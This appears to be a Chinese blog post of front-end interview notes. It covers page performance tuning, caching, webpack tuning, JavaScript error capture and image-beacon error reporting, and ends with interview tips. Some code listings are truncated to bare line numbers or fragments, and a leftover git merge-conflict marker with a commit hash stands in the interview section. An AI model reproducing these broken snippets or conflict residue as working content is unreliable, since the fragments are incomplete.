entryType | 资源类型 |
initiatorType | 谁发起的请求 |
全局监控:如果我们想打印当前页面所有资源的信息,可导入下面的脚本。
1 | (function () { |
页面性能优化
网络请求的优化
静态资源
1). 拼接、合并、压缩、制作雪碧图
使用webpack或者gulp等打包工具对资源(js、css、图片等)进行打包、合并、去重、压缩。对于图片资源,我们可以制作雪碧图,优先使用webp格式,小图使用base64格式,根据不同的表现进行图片裁剪。2). CDN资源分发
将一些静态资源文件托管在第三方CDN服务中,一方面可以减少服务器的压力,另一方面,CDN的优势在于,CDN系统能够实时地根据网络流量和各节点的连接、负载状况以及到用户的距离和响应时间等综合信息将用户的请求重新导向离用户最近的服务节点上,保证资源的加载速度和稳定性。3). 缓存
缓存的范围很广,比如协议层的DNS解析缓存、代理服务器缓存,到客户端的浏览器本地缓存,再到服务端的缓存。一个网络链路的每个环节都有被缓存的空间。缓存的目的是简化资源的请求路径,比如某些静态资源在客户端已经缓存了,再次请求这个资源,只需要使用本地的缓存,而无需走网络请求去服务端获取。4). 分片
分片指得是将资源分布到不同的主机,这是为了突破浏览器对同一台主机建立tcp连接的数量限制,一般为6~8个。现代网站的资源数量有50~100个很常见,所以将资源分布到不同的主机上,可以建立更多的tcp请求,降低请求耗时,从而提升网页速度。5). DNS预解析(预先获得域名所对应的 IP)
1
<link rel="dns-prefetch" href="//yuchengkai.cn">
6). 资源预加载(有些资源不需要马上用到,但是希望尽早获取,这时候就可以使用预加载)
1
<link rel="preload" href="http://example.com">
7). 懒加载
业务数据
1.)首屏直出
为了提升用户体验,我们认为首屏的渲染速度是极为重要的,用户进来页面,首页可见区域的加载可以由服务端渲染,保证了首屏加载速度,而不可见的部分则可以异步加载,甚至做到子路由页面的预加载。2.)接口合并
前端经常有这样的场景,完成一个功能需要先请求第一个接口获得数据,然后再根据数据请求第二个接口获取第二个数据,然后第三、第四…前端通常需要通过promise或者回调,一层一层的then下去,这样显然是很消耗性能的。
应该由服务端处理中间的流程,前端只发一次请求。
页面渲染性能的优化
防止阻塞渲染
页面中的css 和 js 会阻塞html的解析,因为他们会影响dom树和render树。为了避免阻塞,我们可以做这些优化:1.) css 放在首部,提前加载,这样做的原因是: 通常情况下 CSS 被认为是阻塞渲染的资源,在CSSOM 构建完成之前,页面不会被渲染,放在顶部让样式表能够尽早开始加载。但如果把引入样式表的 link 放在文档底部,页面虽然能立刻呈现出来,但是页面加载出来的时候会是没有样式的,是混乱的。当后来样式表加载进来后,页面会立即进行重绘,这也就是通常所说的闪烁了。
2.) js文件放在底部,防止阻塞解析
3.) 一些不改变dom和css的js 使用
defer
和async
属性告诉浏览器可以异步加载,不阻塞解析减少重排和重绘
重绘和回流在实际开发中是很难避免的,我们能做的就是尽量减少这种行为的发生。1.) js尽量少访问dom节点和css属性
2.) 尽可能的为产生动画的
HTML
元素使用fixed
或absolute
的position
,那么修改他们的CSS
是不会Reflow
的。3.) img标签要设置高宽,以减少重绘重排
4.) 把DOM离线后修改,如将一个dom脱离文档流,比如
display: none
,再修改属性,这里只发生一次回流。5.) 尽量用
transform
来做形变和位移,不会造成回流提高代码质量
html
1.) dom层级不要太深,否则会增加dom树构建的时间,js访问深层的dom也会造成更大的负担。2.) meta标签里需要定义文档的编码,便于浏览器解析
css
1.) 减少 CSS 嵌套层级和选择适当的选择器2.) 对于首屏的关键css 可以使用style标签内联
js
1.) 减少通过JavaScript
代码修改元素样式,尽量使用修改class名方式操作样式或动画。2.) 访问dom节点时需要对dom节点缓存,防止循环中重复访问dom节点造成性能损耗。
3.) 慎用 定时器 和 计时器, 使用完后需要销毁。
4.) 用于复杂计算的js代码可以放在worker进程中运行
5.) 对于一些高频的回调需要对其节流和防抖,就是
throttle
和debounce
这两个函数。比如scroll
和touch
事件。
面试回答
资源压缩、合并,减少HTTP请求
非核心代码异步加载
1.) 动态脚本加载,使用js动态创建script
然后插入到head
中
2.) defer,在HTML
解析完之后才会执行,如果是多个,则按照顺序执行
3.) async,加载完之后立即执行,如果是多个,执行顺序和加载顺序无关
结果:
1
2
3
4
5
6
7
8
9
10// main
// async1
// async2
// 也可能是(当实际文件内容差别大时):
// main
// async2
// async1
// 先执行完后面的script标签,再不定顺序的执行async的script,async1 和 async2 的顺序不定
利用浏览器缓存(http协议头)
1.) 强缓存(服务器同时下发这两个是,以Cache-Control为准)
Expires Expires:Mon,18 Oct 2066 23:59:59 GMTCache-Control Cache-Control:max-age=3600
2.) 协商缓存
Last-Modify If-Modify-Since Last-Modify: Thu,31 Dec 2037 23:59:59 GMT
ETag If-None-Match使用CDN(img、css、js)
预解析DNS
1
2<meta http-equiv="x-dns-prefetch-control" content="on">
<link rel="dns-prefetch" href="">代码优化
如何优化webpack
优化打包速度
- 优化Loader,合理的使用loader的include和exclude(重点是对node_modules文件排查)
- HappyPack插件: 将loader的同步执行改成并行执行,加快打包效率
- 代码压缩:webpack-parallel-uglify-plugin 插件并行运行压缩
优化打包体积
- 按需加载
- Scope Hoisting: 分析出模块之间的依赖关系,尽可能的把打包出来的模块合并到一个函数中去
- Tree Shaking: 删除项目中未被引用的代码(webpack4自动开启)
错误监控
前端错误的分类
1.) 即时运行错误(代码错误)
2.) 资源加载错误(css、js加载错误)错误捕获方式
1.)即时运行错误try...catch
window.onerror / window.addEventListener('error', function () {})`
2.) 资源加载错误(冒泡无法获知,捕获可以获知)
Obejct.onerror
performance.getEntries()
1
2
3
4
5
6performance.getEntries().forEach((item) => {
console.log(item);
});
// 会输入所有的资源信息
// 判断总资源数是否相等(间接法)Error事件捕获
1
2
3
4
5
6<script>
window.addEventListener('error', function(e) {
console.log('捕获到异常', e);
}, true); // false表示冒泡,true表示捕获,资源加载异常只能通过捕获获知
</script>
<script src="//baidu.com/test.js"></script>
3.) 提问:跨域的js可以捕获到错误码?错误提示是什么?应该怎么处理?
错误提示
从结果可以看出:无法获取具体的出错文件和代码行数处理办法
客户端:script
标签增加crossorigin
属性
服务端:设置js资源响应头Access-Control-Allow-Origin:*
- 上报错误的基本原理
1.)ajax
请求上报(可以做到,但是通常不会使用此方法)
2.)image
对象上报,打点…1
2
3(new Image()).src = 'http://baidu.com/test?error=qwer'; // network中就可以看到这个请求了
// 一些大公司的打点也是这个原理
面试
技术面试
业务能力
团队协作能力
事物推动能力(跨部门、跨组)
带人能力
其他能力
你还有什么要问的吗?
<<<<<<< HEAD
团队使用什么技术
开发环境一共几种(本地、test、staging、线上)
是否有公司自己的埋点体系是否经常会有一些技术分享会
657422860cdeca1d081fd3e907582e5f6464be53
HR面试
面试技巧
- 乐观积极
- 主动沟通
- 逻辑顺畅
- 上进有责任心
- 有主张、做事果断
内容分布(HR提问)
沟通技巧
多夸人,多赞美HR
面试技巧
- JD描述(职位描述)
校招一定要看 - 简历
对照JD改出相吻合的简历,对于未掌握的技术栈快速复习、理解(来自网上,一般很难做到) - 自我介绍
一定要打草稿,展示什么优势,描述什么项目,切忌临场发挥
面试流程
- 一面
重基础
懂原理
要思考(不会的话不能直接回答不会,一定要深入思考)
知进退(不懂的话,可以问面试官能不能给个指导方向、查询的资料等)
势不可挡 - 二面
横向扩展
项目结合 - 三面
有经验
懂合作
有担当
懂规矩
察言观色 - 终面
会沟通
要上进
好性格
有主见
强逻辑
无可挑剔 - 复盘
胜不骄,败不馁
总结经验